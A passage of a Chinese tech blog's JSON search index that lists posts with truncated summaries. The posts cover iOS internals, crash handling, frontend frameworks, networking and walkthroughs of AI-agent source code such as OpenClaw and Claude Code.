…","title":"JetsamEvent 日志解读"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/ios%E4%B8%AD%E7%9A%84%E6%95%B0%E6%8D%AE%E5%BA%93/","summary":"数据持久化是移动端开发的核心能力之一。iOS提供了从轻量级KV存储到完整关系数据库的多层次方案。本文将从底层存储原理出发，系统性地梳理iOS中各类数据库与持久化技术的设计思想、实现机制和适用场景。\n一、iOS数据持久化方案全景 iOS中常见的数据持久化方案，按数据复杂度和使用场景可分为以下几层：\ngraph TD subgraph KV[\u0026#34;轻量级KV存储\u0026#34;] A[\u0026#34;UserDefaultsplist序列化\u0026#34;] B[\u0026#34;Keychain加密存储\u0026#34;] C[\u0026#34;MMKVmmap + protobuf\u0026#34;] end subgraph FILE[\u0026#34;文件存储\u0026#34;] D[\u0026#34;plist / JSON\u0026#34;] …","title":"iOS中的数据库"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ai/openclaw-%E6%9E%B6%E6%9E%84%E6%80%BB%E8%A7%88/","summary":" 2025 年 11 月，Peter Steinberger（PSPDFKit 创始人、前著名 iOS 社区人物）把自己折腾出来的个人 AI 助手 Molty 开源为 OpenClaw。短短几个月，仓库吃到 35 万+ star、93 个 release、360 多个 contributor，核心代码量在 TypeScript/Swift/Kotlin/Go/Python 之间横跨 40 多万行。它和 Claude Code、Codex CLI 乍看都是\u0026amp;quot;跑在本地的 CLI Agent\u0026amp;quot;，但设计哲学完全不同——Claude Code 是一个编程助手，OpenClaw 是一个 …","title":"OpenClaw 源码导读（一）：架构总览 — 为\"单个主人\"而设计的 AI Gateway"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/network/network-017/","summary":"HTTP/2.0 的 服务端推送（Server Push） 是它相较于 HTTP/1.x 引入的一项重要功能，旨在优化网页加载性能，尤其是首次加载时资源依赖的获取效率。\n一、什么是服务端推送？ HTTP/2 Server Push 允许服务器主动将资源“推送”给客户端，而不是等待客户端明确请求。这在某些场景下可以预加载依赖资源、减少请求延迟，提升页面的首屏加载速度。\n例如： 客户端请求了 HTML 页面，服务器可以在返回 HTML 的同时，主动推送页面所需的 CSS/JS 资源。\n二、服务端推送的工作原理 流程概览： 浏览器发送主资源请求（如 HTML）； 服务器识别该请求需要哪些依赖资源（如 …","title":"http2.0 服务端推送"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/react/react-017/","summary":"人无完人，代码总会出错，出错并不可怕，关键是怎么处理。\n我就想问问大家react的应用的错误怎么捕捉呢？ 这个时候：\n小白+++：怎么处理？ 小白++： ErrorBoundary 小白+： ErrorBoundary, try catch 小黑#: ErrorBoundary, try catch, window.onerror 小黑##: 这个是个严肃的问题，我知道N种处理方式，你有什么更好的方案? ErrorBoundary EerrorBoundary是16版本出来的，有人问那我的15版本呢，我不听我不听，反正我用16，当然15有unstable_handleError。\n关于 …","title":"错误边界"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/html/html-017/","summary":"HTML5 提供了地理定位（Geolocation）API，用于获取用户的当前位置。通过这一功能，网页可以访问用户的地理位置信息，进而实现如地图服务、定位推荐、基于位置的广告等功能。该 API 主要依赖设备的 GPS、Wi-Fi、IP 地址、蓝牙等信息来确定位置。\nGeolocation API 的基本用法 主要通过 navigator.geolocation 对象来访问地理位置信息，提供了以下三个方法：\ngetCurrentPosition(success, error, options) 获取用户的当前位置，一次性返回位置信息。 watchPosition(success, error, …","title":"地理定位"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/css/transition/","summary":"CSS transition 提供了一种在更改 CSS 属性时控制动画速度的方法。其可以让属性变化成为一个持续一段时间的，而不是立即生效的过程。\n比如，将一个元素的颜色从白色改为黑色，通常这个改变是立即生效的，使用 CSS 过渡后该元素的颜色将按照一定的曲线速率从白色变化为黑色。这个过程可以自定义。\n通常将两个状态之间的过渡称为隐式过渡，因为开始与结束之间的状态由浏览器决定。\nCSS 过渡可以决定哪些属性发生动画效果（通过明确地列出这些属性），何时开始（通过设置延时），持续多久（通过设置时长）以及如何动画（通过定义缓动函数，如线性或先快后慢）。比如在不同的伪元素之间切换，像是 …","title":"transition"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-017/","summary":"当我们的项目达到一定的规模时，对于某些组件来说，我们并不希望一开始全部加载，而是需要的时候进行加载；这样的做得目的可以很好的提高用户体验。\n为了实现这个功能，Vue3中为我们提供了一个方法，即defineAsyncComponent，这个方法可以传递两种类型的参数，分别是函数类型和对象类型，接下来我们分别学习。\n传递工厂函数作为参数 defineAsyncComponent方法接收一个工厂函数是它的基本用法，这个工厂函数必须返回一个Promise，Promise的resolve应该返回一个组件。\n我们这里以Vue Cli创建的项目为例，这里我稍微做了一下修改，将头部的图片拆分为一个组件，代码如 …","title":"异步组件"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-017/","summary":"ES6 引入了尾调用优化（Tail Call Optimization，TCO）的规范，但它的实现依赖于 JavaScript 引擎的支持（比如 V8 并未开启 TCO），所以这是一个理论上重要、实践中需要谨慎对待的考点。\n一、什么是尾调用（Tail Call）？ 尾调用是指：\n函数的最后一步是调用另一个函数，并直接返回这个函数的执行结果。\n例如：\nfunction foo() { return bar(); // bar 是 foo 的尾调用 } 尾调用意味着：\n当前函数的调用栈帧不需要再做任何事。 调用栈可以复用，不需要为当前函数保留栈帧，从而节省内存。 二、什么是尾调用优化（TCO）？ …","title":"尾部优化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-017/","summary":"\n1、DOM基本概念 1.1、DOM、DOM节点与DOM树 DOM：(Document Object Model, 文档对象模型)是文档内容（HTML或XML）在编程语言上的抽象模型，它建模了文档的内容和结构，并提供给编程语言一套完整的操纵文档的API。 本文面向HTML，不讨论XML等文档，下文中“文档===HTML”。\nDOM节点：简称节点（Node），是DOM模型的组成单元。HTML的基本单元是标签，节点常常与标签对应，但连续的文本内容也是一个文本标签。 DOM树：DOM树是DOM结构的表示形式，DOM把文档的每个节点根据父子关系连接，形成DOM树。 1.2、节点、节点类型和节点类 节点 …","title":"DOM操作"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-16/","summary":" \u0026amp;ldquo;我们不是在建造一个工具，而是在定义人与智能体协作的范式。\u0026amp;rdquo;\n16.1 回望来路：从代码到思想 当你翻到这一页时，我们已经共同走过了一段漫长的旅程。从第1章的感知-推理-行动循环，到第15章的性能优化深渊，我们逐行审视了 Claude Code 近两千个源码文件、数十万行 TypeScript 代码中蕴含的工程智慧。\n然而，如果这本书仅仅停留在\u0026amp;quot;Claude Code 是怎么写的\u0026amp;quot;这个层面，那它的价值将随着下一个版本的发布而褪色。代码会过时，API 会变迁，框架会更替——但算法思想不会。正如 Donald Knuth 在《计算机程序设计艺术》中所言 …","title":"第16章：Agent 算法思想的升华"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/crash-mach%E5%BC%82%E5%B8%B8/","summary":"本文深入介绍Mach异常的底层实现细节，包括端口操作、消息机制以及如何实现自定义的Mach异常处理器。\n关于Mach异常的基础概念（Task、Thread、Port、Message）和异常端口的查找顺序，请参考 崩溃-原理。\nMach端口详解 端口权限 端口权限类型： ┌─────────────────────────────────────────────────────────────┐ │ 端口权限 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ MACH_PORT_RIGHT_SEND │ …","title":"崩溃-Mach异常"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/ios%E5%8F%8D%E5%B0%84/","summary":"反射（Reflection）是指程序在运行时检查、访问和修改自身结构（类型、属性、方法等）的能力。在 iOS 开发中，Objective-C 和 Swift 分别提供了不同层次的反射支持：OC 依赖 Runtime 提供完整的动态反射能力，Swift 则通过 Mirror 提供只读的内省能力。\nObjective-C 的反射能力 Objective-C 的反射能力完全建立在 Runtime 之上。Runtime 在运行时维护了完整的类型元数据（类对象、元类对象、方法列表、属性列表、成员变量列表、协议列表等），并通过一系列 C 函数 API 暴露给开发者，使得程序可以在运行时动态地查询和修改几乎 …","title":"iOS反射"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/network/network-018/","summary":"浏览器在加载页面时，大量的性能瓶颈集中在资源的请求、传输、解析与执行上。因此，网络层的性能优化主要目标是：减少请求次数、降低资源大小、缩短首屏时间、提升加载体验。\n一、请求数量优化 1. 合理拆分和合并资源 按需加载（lazy loading / dynamic import）：不一次加载所有模块，只加载当前页面/功能所需资源。 资源合并（资源打包）：减少请求数量，如合并多个 CSS/JS 文件（现代工具也支持 HTTP2 下保留拆分）。 服务端渲染/预渲染：减轻首屏资源请求压力。 2. 使用缓存避免重复请求 使用浏览器缓存控制 …","title":"网络性能优化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/react/react-router/","summary":"写在前面：为什么要学习react-router底层源码? 为什么要弄明白整个路由流程？\n学习react-router，有助于我们学习单页面应用(spa)路由跳转原理，让我们理解从history.push，到组件页面切换的全套流程，使我们在面试的时候不再为路由相关的问题发怵，废话不说，让我们开启深入react-router源码之旅吧。\n一 正确理解react-router 1 理解单页面应用 什么是单页面应用？\n个人理解，单页面应用是使用一个html下，一次性加载js, css等资源，所有页面都在一个容器页面下，页面切换实质是组件的切换。\n2 react-router初探，揭露路由原理面纱 …","title":"react-router"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/html/html-018/","summary":"HTML5 中的拖拽（Drag and Drop，简称 DnD）功能为网页元素提供了原生的拖放支持。通过 HTML5 的拖放 API，开发者可以让元素变得可拖动，并实现拖拽和释放的交互效果。\nHTML5 拖拽的基本原理 HTML5 拖拽操作的核心是 dragstart、dragover 和 drop 等事件。以下是拖拽的工作流程：\n可拖动元素：使用 draggable=\u0026amp;quot;true\u0026amp;quot; 使一个元素可被拖拽。 源元素触发拖拽：当用户点击并开始拖动可拖动元素时，触发 dragstart 事件。 拖拽中：拖拽过程中，目标区域会触发 dragover 事件。 释放元素：当用户释放被拖动 …","title":"拖放API"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/css/css-018/","summary":"引言 响应式布局指的是同一页面在不同屏幕尺寸下有不同的布局。传统的开发方式是PC端开发一套，手机端再开发一套，而使用响应式布局只要开发一套就够，缺点就是CSS比较重。下面是博客网站对不同设备适配后的结果，分别是iPhone5/SE,iphone6/7/8,iphone 6/7/8 plus,ipad pro,dell台式宽屏(1440 X 900)。\n响应式设计与自适应设计的区别：响应式开发一套界面，通过检测视口分辨率，针对不同客户端在客户端做代码处理，来展现不同的布局和内容；自适应需要开发多套界面，通过检测视口分辨率，来判断当前访问的设备是pc端、平板、手机，从而请求服务层，返回不同的页面。 …","title":"响应式设计"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-018/","summary":"从后端路由开始 路由这个概念最先是后端出现的。在以前用模板引擎开发页面时，经常会看到这样\nhttp://www.xxx.com/login 大致流程可以看成这样：\n浏览器发出请求 服务器监听到80端口（或443）有请求过来，并解析url路径 根据服务器的路由配置，返回相应信息（可以是 html 字串，也可以是 json 数据，图片等） 浏览器根据数据包的 Content-Type 来决定如何解析数据 简单来说路由就是用来跟后端服务器进行交互的一种方式，通过不同的路径，来请求不同的资源，请求不同的页面是路由的其中一种功能。\n前端路由 1. hash 模式 随着 ajax 的流行，异步数据请求交互 …","title":"vue路由"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-018/","summary":"DOM事件流（event flow ）存在三个阶段：事件捕获阶段、处于目标阶段、事件冒泡阶段。\nDom标准事件流的触发的先后顺序为：先捕获再冒泡。即当触发dom事件时，会先进行事件捕获，捕获到事件源之后通过事件传播进行事件冒泡。\naddEventListener的第三个参数\n在我们平常用的addEventListener方法中，一般只会用到两个参数，一个是需要绑定的事件，另一个是触发事件后要执行的函数，然而addEventListener还可以传入第三个参数：\nelement.addEventListener(event, function, useCapture); 第三个参数默认值是 …","title":"事件冒泡、事件捕获、事件委托"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/ios%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%86/","summary":"编译器架构：LLVM 与 Clang iOS 开发中的两种主要语言 Objective-C 和 Swift 都基于 LLVM 编译器基础设施。理解 LLVM 的架构是理解 iOS 编译原理的基础。\nLLVM 的三段式架构 LLVM 采用经典的前端-中间表示-后端三段式设计，将编译过程解耦为三个独立的阶段：\nflowchart LR subgraph Frontend[\u0026#34;前端（Frontend）\u0026#34;] direction TB A1[\u0026#34;Clang（OC/C/C++）\u0026#34;] A2[\u0026#34;Swift 前端\u0026#34;] end subgraph Middle[\u0026#34;中间表示\u0026#34;] direction TB B1[\u0026#34;LLVM …","title":"iOS编译原理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/crash-%E4%BF%A1%E5%8F%B7%E5%A4%84%E7%90%86/","summary":"Unix信号是进程间通信和异常通知的重要机制。本文详细介绍Unix信号的基础知识、常见崩溃信号以及Signal Handler的正确实现方式。\nUnix信号基础 什么是信号 信号的本质： ┌─────────────────────────────────────────────────────────────┐ │ Unix信号 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 信号是一种软件中断机制： │ │ • 用于通知进程发生了某个事件 │ │ • 可以由内核、其他进程或进程自身发送 │ │ …","title":"崩溃-信号处理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/network/network-019/","summary":"一、梳理主干流程 知识体系中，最重要的是骨架，脉络。有了骨架后，才方便填充细节。所以，先梳理下主干流程：\n浏览器接收url并开启一个新进程（这一部分可以展开浏览器的进程与线程的关系） 浏览器解析输入的 URL，提取出其中的协议、域名和路径等信息。（这部分涉及URL组成部分） 浏览器向 DNS 服务器发送请求，DNS服务器通过 多层查询 将该 域名 解析为对应的 IP地址 ，然后将请求发送到该IP地址上，与 服务器 建立连接和交换数据。（这部分涉及DNS查询） 浏览器与服务器建立 TCP 连接。（这部分涉及TCP三次握手/四次挥手/5层网络协议） 浏览器向服务器发送 HTTP 请求，包含请求头和 …","title":"浏览器渲染过程中的网络层面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/react/react-019/","summary":"前言 文本分为两大部分讲解，一部分是首次挂载渲染原理，另一部分是更新和卸载原理，很多地方非常抽象，希望大家仔细阅读，不然容易脱节。废话不多话，开车！！\n正文 在开始之前，需要一些前置知识才能帮助我们更好的理解整个渲染过程。首先就是生命周期(16版本之后)，为什么要讲一下生命周期？跟渲染原理有关系吗？当然有，如果你不理解渲染原理的话，更新一个嵌套很深的组件你甚至连父与子生命周期执行的先后顺序都不知道。本文直接对照16版本之后的新生命周期进行讲解，就不讲解老版本了。\n初探-生命周期 顾名思义，跟人生一样，生命周期就是一个组件从诞生到销毁的过程。React在组件的生命周期中注册了一系列的钩子函数，支 …","title":"react 渲染机制"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/html/html-019/","summary":"在 HTML 中，可以通过调用浏览器的全屏 API 实现页面或页面中的某个元素全屏显示。全屏 API 是 HTML5 提供的一项功能，允许将元素切换为全屏模式。\n使用全屏 API 实现全屏 全屏 API 提供了以下常用方法和属性：\nrequestFullscreen()：请求将元素设置为全屏模式。 exitFullscreen()：退出全屏模式。 fullscreenElement：返回当前正在全屏显示的 DOM 元素，如果没有元素全屏，则返回 null。 fullscreenchange 事件：当全屏状态发生变化时触发，用来监听进入或退出全屏。 实现全屏的基本步骤 选择你希望全屏的元素。 使 …","title":"全屏API"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/css/css-019/","summary":"一、变量的声明 声明变量的时候，变量名前面要加两根连词线（--）。\nbody { --foo: #7F583F; --bar: #F7EFD2; } 上面代码中，body选择器里面声明了两个变量：--foo和--bar。\n它们与color、font-size等正式属性没有什么不同，只是没有默认含义。所以 CSS 变量（CSS variable）又叫做**\u0026amp;ldquo;CSS 自定义属性\u0026amp;rdquo;**（CSS custom properties）。因为变量与自定义的 CSS 属性其实是一回事。\n你可能会问，为什么选择两根连词线（--）表示变量？因为$foo被 Sass 用掉了，@foo被 …","title":"变量"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-019/","summary":"本知识点将以 Pinia 为例，介绍 Vue 中的状态管理。\n前言 Pinia简称小菠萝🍍，是一个专为Vue 3设计的现代化状态管理库，为Vue 3开发的，它提供了一种简单、可扩展和类型安全的方式来管理应用程序的状态。\n与Vue 2中的Vuex相比，Pinia提供了更好的TypeScript支持，具有更好的类型定义和类型推断，可在编译时捕获错误，提供更高的代码可靠性和开发体验。它是专为Vue 3设计的，充分利用了Vue 3的新特性，如Composition API，以提供更直接、自然和灵活的状态管理体验。Pinia的核心概念是Store，它类似于Vuex中的模块，用于管理应用程序的状，可以将相 …","title":"状态管理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/call-apply-bind/","summary":"apply 和 call简介 在 javascript 中，call 和 apply 都是为了改变某个函数运行时的上下文（context）而存在的，换句话说，就是为了改变函数体内部 this 的指向。\nJavaScript 的一大特点是，函数存在「定义时上下文」和「运行时上下文」以及「上下文是可以改变的」这样的概念。\n比如 A 对象有一个方法，而 B 对象因为某种原因，也需要用到同样的方法，那么这时候不用单独为 B 对象扩展一个方法，可以直接借用 A 对象的方法。这样既完成了需求，又减少了内存的占用。\n直接来看个例子：\nfunction fruits() {} fruits.prototype …","title":"call、apply和bind"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/crash-%E5%8E%9F%E7%90%86/","summary":"理解崩溃的底层原理是有效治理的基础。本文详细介绍iOS的异常处理机制、崩溃的传递链路以及各类崩溃的本质原因。\niOS异常处理架构 iOS的异常处理采用分层架构，从底层到上层依次为：\nflowchart BT subgraph ARCH[\u0026#34;异常处理架构\u0026#34;] direction BT HW[\u0026#34;硬件层 (Hardware)CPU异常、内存访问违规、非法指令\u0026#34;] MACH[\u0026#34;Mach层 (Mach Exception)EXC_BAD_ACCESS、EXC_BAD_INSTRUCTION、EXC_CRASH\u0026#34;] BSD[\u0026#34;BSD层 (Unix …","title":"崩溃-原理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/load%E4%B8%8Einitialize%E7%9A%84%E5%8C%BA%E5%88%AB/","summary":"+load和+initialize是Objective-C中两个特殊的类方法，它们都会被Runtime自动调用，但调用时机、调用方式和使用场景有很大区别。理解它们的差异对于iOS开发和性能优化非常重要。\n基本定义 +load方法 +load方法在类被加载到内存时由Runtime自动调用，发生在main函数执行之前。\n@implementation MyClass + (void)load { NSLog(@\u0026amp;#34;MyClass loaded\u0026amp;#34;); } @end +initialize方法 +initialize方法在类第一次收到消息时由Runtime自动调用，是一种懒加载机制。 …","title":"+load与+initialize的区别"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/network/network-020/","summary":"抓包的原理 什么是抓包？ 抓包就是将网络传输发送与接收的数据包进行截获、重发、编辑、转存等操作，通过抓包可以：\n分析网络问题 业务分析 分析网络信息流通量 网络大数据金融风险控制 探测企图入侵网络的攻击 探测由内部和外部的用户滥用网络资源 探测网络入侵后的影响 监测链接互联网宽频流量 监测网络使用流量（包括内部用户，外部用户和系统） 监测互联网和用户电脑的安全状态 渗透与欺骗 \u0026amp;hellip; 回顾下计算机网络知识，数据在网络上是以很小的帧的单位传输的，帧通过特定的称为网络驱动程序的程序进行成型，然后通过网卡发送到网线上，通过网线到达目的机器，在目的机器的一端执行相反的过程。接收端机器的以太网 …","title":"抓包工具"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/react/react-020/","summary":"React的函数组件（Function Components）自Hooks推出以来已成为React开发的主流方式。理解函数组件的更新原理对于编写高效、可维护的React应用至关重要。本文将深入探讨React函数组件的更新机制。\n一、函数组件与类组件的本质区别 在深入更新原理前，我们需要明确函数组件与类组件的根本区别：\n类组件：是类的实例，拥有实例属性和生命周期方法 函数组件：是纯函数，接收props作为参数，返回JSX 这种本质区别决定了它们的更新行为完全不同。\n二、函数组件的执行机制 当React需要渲染一个函数组件时，它只是简单地调用这个函数：\nfunction …","title":"React函数组件更新"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-020/","summary":"浅拷贝和深拷贝都是对于JS中的引用类型而言的，浅拷贝就只是复制对象的引用，如果拷贝后的对象发生变化，原对象也会发生变化。只有深拷贝才是真正地对对象的拷贝。\n前言 说到深浅拷贝，必须先提到的是JavaScript的数据类型，大家可以看前面的知识点，这里不多说了。\n初学前端的同学，需要知道的一点就是：JavaScript的数据类型分为基本数据类型和引用数据类型。\n对于基本数据类型的拷贝，并没有深浅拷贝的区别，我们所说的深浅拷贝都是对于引用数据类型而言的。\n浅拷贝 浅拷贝的意思就是只复制引用，而未复制真正的值。\nconst originArray = [1,2,3,4,5]; const …","title":"深拷贝/浅拷贝"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/html/html-020/","summary":"HTML、CSS 和 JavaScript 是前端开发的三大基础技术，它们通过不同的方式相互作用，创建交互性良好的网页。\n1. HTML 与 CSS 的交互 HTML 负责定义网页的结构，而 CSS 则负责美化这些结构元素。两者的交互主要通过以下方式：\n\u0026amp;lt;style\u0026amp;gt; 标签：直接在 HTML 中嵌入 CSS 样式。 这种方式将 CSS 写入到 HTML 文件中，但不推荐用于大型项目，因为这会导致样式与结构混杂在一起。 \u0026amp;lt;style\u0026amp;gt; h1 { color: red; } \u0026amp;lt;/style\u0026amp;gt; \u0026amp;lt;link\u0026amp;gt; 标签：通过 \u0026amp;lt;link\u0026amp;gt; 标签引 …","title":"与 CSS/JS 的交互"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/css/display/","summary":"一、display属性介绍 display 属性规定元素应该生成的框的类型。\n以下是一些关于display比较常用的属性值：\n值 描述 none 元素不会显示 block 此元素将显示为块级元素，此元素前后会带有换行符。 inline 默认。此元素会被显示为内联元素，元素前后没有换行符。 line-block 行内块元素。（CSS2.1 新增的值）[IE6/7不支持] list-item 此元素会作为列表显示。 inline-table 此元素会作为内联表格来显示（类似 table），表格前后没有换行符。 table 此元素会作为块级表格来显示（类似 table），表格前后带有换行符。 …","title":"display"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-020/","summary":"前言 什么是SSR(Server-Side Rendering)？类似于用Java、ASP.NET、php开发前端页面，服务端准备数据并执行页面渲染，然后把完整的HTML发送给客户端。现代化的SSR通常和Vue、React等前端框架强关联，通过Node.js在服务端提前将page、component使用同构方式渲染为html代码，其目的是在实现SSR时尽量复用一套渲染机制。例如Vue框架就同时支持了CSR(Client-Side Rendering)和SSR。\nSSR能解决什么问题？\nSEO: Google、百度、Yandex、Bing或者Yahoo等搜索引擎会通过网络爬取你的页面并建立索引， …","title":"服务器渲染"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/mmap%E8%AF%A6%E8%A7%A3/","summary":"mmap（Memory-mapped file，内存映射文件）是一种将文件或设备映射到进程地址空间的技术。通过mmap，可以像操作内存一样操作文件，是iOS开发中实现高性能IO的重要手段。\n基本概念 什么是mmap mmap是一个POSIX系统调用，它在进程的虚拟地址空间中创建一个映射，将文件内容映射到内存地址。映射建立后，对该内存区域的读写操作会直接反映到文件上。\n文件映射：将磁盘上的普通文件映射到内存，用于高效读写文件内容（iOS开发中最常用） 设备映射：将硬件设备的I/O内存（如显卡显存、网卡缓冲区）映射到用户空间，让程序可以像读写内存一样直接与硬件交互，常用于驱动开发和嵌入式系统 …","title":"mmap详解"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/crash-%E6%B2%BB%E7%90%86/","summary":"本文详细介绍常见崩溃类型的修复方法、防崩溃保护机制以及线上监控体系。\n崩溃治理是 APM 稳定性子系的核心模块。完整的监控建设、多类型稳定性问题（Watchdog/OOM/CPU/IO）的统一治理与 Zombie/Coredump/MemoryGraph 等高级归因能力，请参考 APM 系列：指标体系、业界方案。\n崩溃治理流程 flowchart TB subgraph S1[1. 崩溃发现] A1[线上监控报警] A2[用户反馈] A3[测试发现] end subgraph S2[2. 崩溃分析] B1[符号化堆栈] B2[问题定位] B3[根因分析] end subgraph S3[3. …","title":"崩溃-治理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/react/react-021/","summary":"首先我们想一个问题，那就是 为什么要学习设计模式？ 原因我总结有以下几个方面。\n1. 功能复杂，逻辑复用问题。\n首先 React 灵活多变性，就决定了 React 项目可以应用多种设计模式。但是这些设计模式的产生也确实办了实事:\n场景一： 在一个项目中，全局有一个状态，可以称之为 theme （主题），那么有很多 UI 功能组件需要这个主题，而且这个主题是可以切换的，就像 github 切换暗黑模式一样，那么如何优雅的实现这个功能呢？\n这个场景如果我们用 React 的提供者模式，就能轻松搞定了，通过 context 保存全局的主题，然后将 theme 通过 Provider 形式传递下去，需 …","title":"react 组件设计模式"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-021/","summary":"\n1. 获取字符串长度 JavaScript中的字符串有一个length属性，该属性可以用来获取字符串的长度：\nconst str = \u0026amp;#39;hello\u0026amp;#39;; str.length // 输出结果：5 2. 获取字符串指定位置的值 charAt()和charCodeAt()方法都可以通过索引来获取指定位置的值：\ncharAt() 方法获取到的是指定位置的字符； charCodeAt()方法获取的是指定位置字符的Unicode值。 （1）charAt() charAt() 方法可以返回指定位置的字符。其语法如下：\nstring.charAt(index) index表示字符在字符串中的 …","title":"字符串常见方法"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/html/seo/","summary":"🌻 前言 SEO 代表搜寻引擎最佳化/搜寻引擎优化(英文全名Search Engine Optimization，简称SEO)，是指通过了解搜寻引擎的自然排名的算法逻辑，以提高目标网站在有关搜寻引擎内排名的方式。\n网站的 SEO 至关重要，它可以让你的网站获得更好的排名和流量，从而提高网站知名度。对于一些盈利的网站，做好seo，还可以以低成本提高投资回报率。\n本文将为你带来非常全面的SEO方案🔥🔥🔥，当然了，网站SEO是长线工作，在做好一些基础的配置之后，更重要的是后期的维护，比如定期更新网站动态文章，不断寻找优质外链资源等🤌。\n本文将以三个层面展开：\nTDK优化 网站质量 SEO手段（10种 …","title":"SEO"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/css/css-021/","summary":"前言 花样不断的前端，貌似多技术方案并行，已经成了家常便饭。\n从大的框架开始，已经分裂react与vue派系。两者思维上虽然有相互不断的借鉴，但在大的方向思维上却是截然不同。而在react与vue的竞争以及相互较量的过程中，往往把其他的对手都干倒了，现在市场angular，jQuery等都逐步没落。\n预编译css也同样，曾经也有多个派系。而后在sass与less的不断竞争中，stylus等其他的编译器也逐步退出市场。本文的重点，对比预编译css，scss与less对比。\n基本介绍 先一起看看官方是如何定义或者介绍他们。\nSass 官方定义： Sass是一种基于Ruby的CSS预处理器，它可以扩 …","title":"预处理器"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue3-api/","summary":"📍前言 最近在一次理解vue项目的代码时，发现周一对好多API都不太熟悉。这间接导致的问题是，代码理解速度要比平常要慢很多。于是乎，赶忙把vue API的学习提上了日程。\n在下面的文章中，将地板式地扫盲vue3文档中API模块的所有内容，融入周一的理解进行深入介绍。下面就来一起看看吧~🍬\n一、🖇框架搭建 1、关于文档 首先附上官方文档的具体材料：cn.vuejs.org/api/\n2、VUE3 API整体盘点 在vue3的全新API中，有部分在vue2的基础上沿用了。还有另外一部分，是vue3所新增加的。我们先来看vue3 API文档主要包含哪些内容？\nvue3 API主要包含以下六个部分： …","title":"Vue3 API"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/crash-%E9%87%87%E9%9B%86/","summary":"准确采集崩溃信息是分析和修复问题的前提。本文详细介绍iOS崩溃的捕获方案、堆栈回溯技术以及符号化原理。\n崩溃采集架构 flowchart TB subgraph capture[\u0026#34;崩溃捕获层\u0026#34;] direction LR mach[\u0026#34;Mach Exception Handler\u0026#34;] signal[\u0026#34;Unix Signal Handler\u0026#34;] exception[\u0026#34;NSException Handler\u0026#34;] end subgraph collect[\u0026#34;信息采集层\u0026#34;] direction LR backtrace[\u0026#34;堆栈回溯(Backtrace)\u0026#34;] register[\u0026#34;寄存器状态\u0026#34;] …","title":"崩溃-采集"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/runloop/","summary":"RunLoop 是 iOS/macOS 中用于管理线程的事件循环机制。它的核心作用是让线程在有任务时处理任务，没有任务时进入休眠状态，从而避免线程退出并节省 CPU 资源。\n简单来说，RunLoop 就是一个 do-while 循环：\n// 伪代码 void CFRunLoopRun() { do { // 处理各种事件源 // 如果没有事件，线程休眠 // 有事件时被唤醒处理 } while (running); } RunLoop 与线程的关系 每个线程都有唯一对应的 RunLoop 对象 主线程和子线程的 RunLoop 都采用懒加载机制，在第一次获取时才创建 主线程的 RunLoop …","title":"RunLoop"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-022/","summary":"数组是 js 中最常用到的数据集合，其内置的方法有很多，熟练掌握这些方法，可以有效的提高我们的工作效率，同时对我们的代码质量也是有很大影响。\n一、创建数组 1.使用数组字面量表示法 var arr4 = []; //创建一个空数组 var arr5 = [20]; // 创建一个包含1项数据为20的数组 var arr6 = [\u0026amp;#34;lily\u0026amp;#34;,\u0026amp;#34;lucy\u0026amp;#34;,\u0026amp;#34;Tom\u0026amp;#34;]; // 创建一个包含3个字符串的数组 2.使用 Array 构造函数 无参构造 var arr1 = new Array(); //创建一个空数组 带参构造 如果只传一个数值参数， …","title":"数组常用方法"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/html/csr-ssr-ssg/","summary":"SPA、MPA、SSR 和 CSR 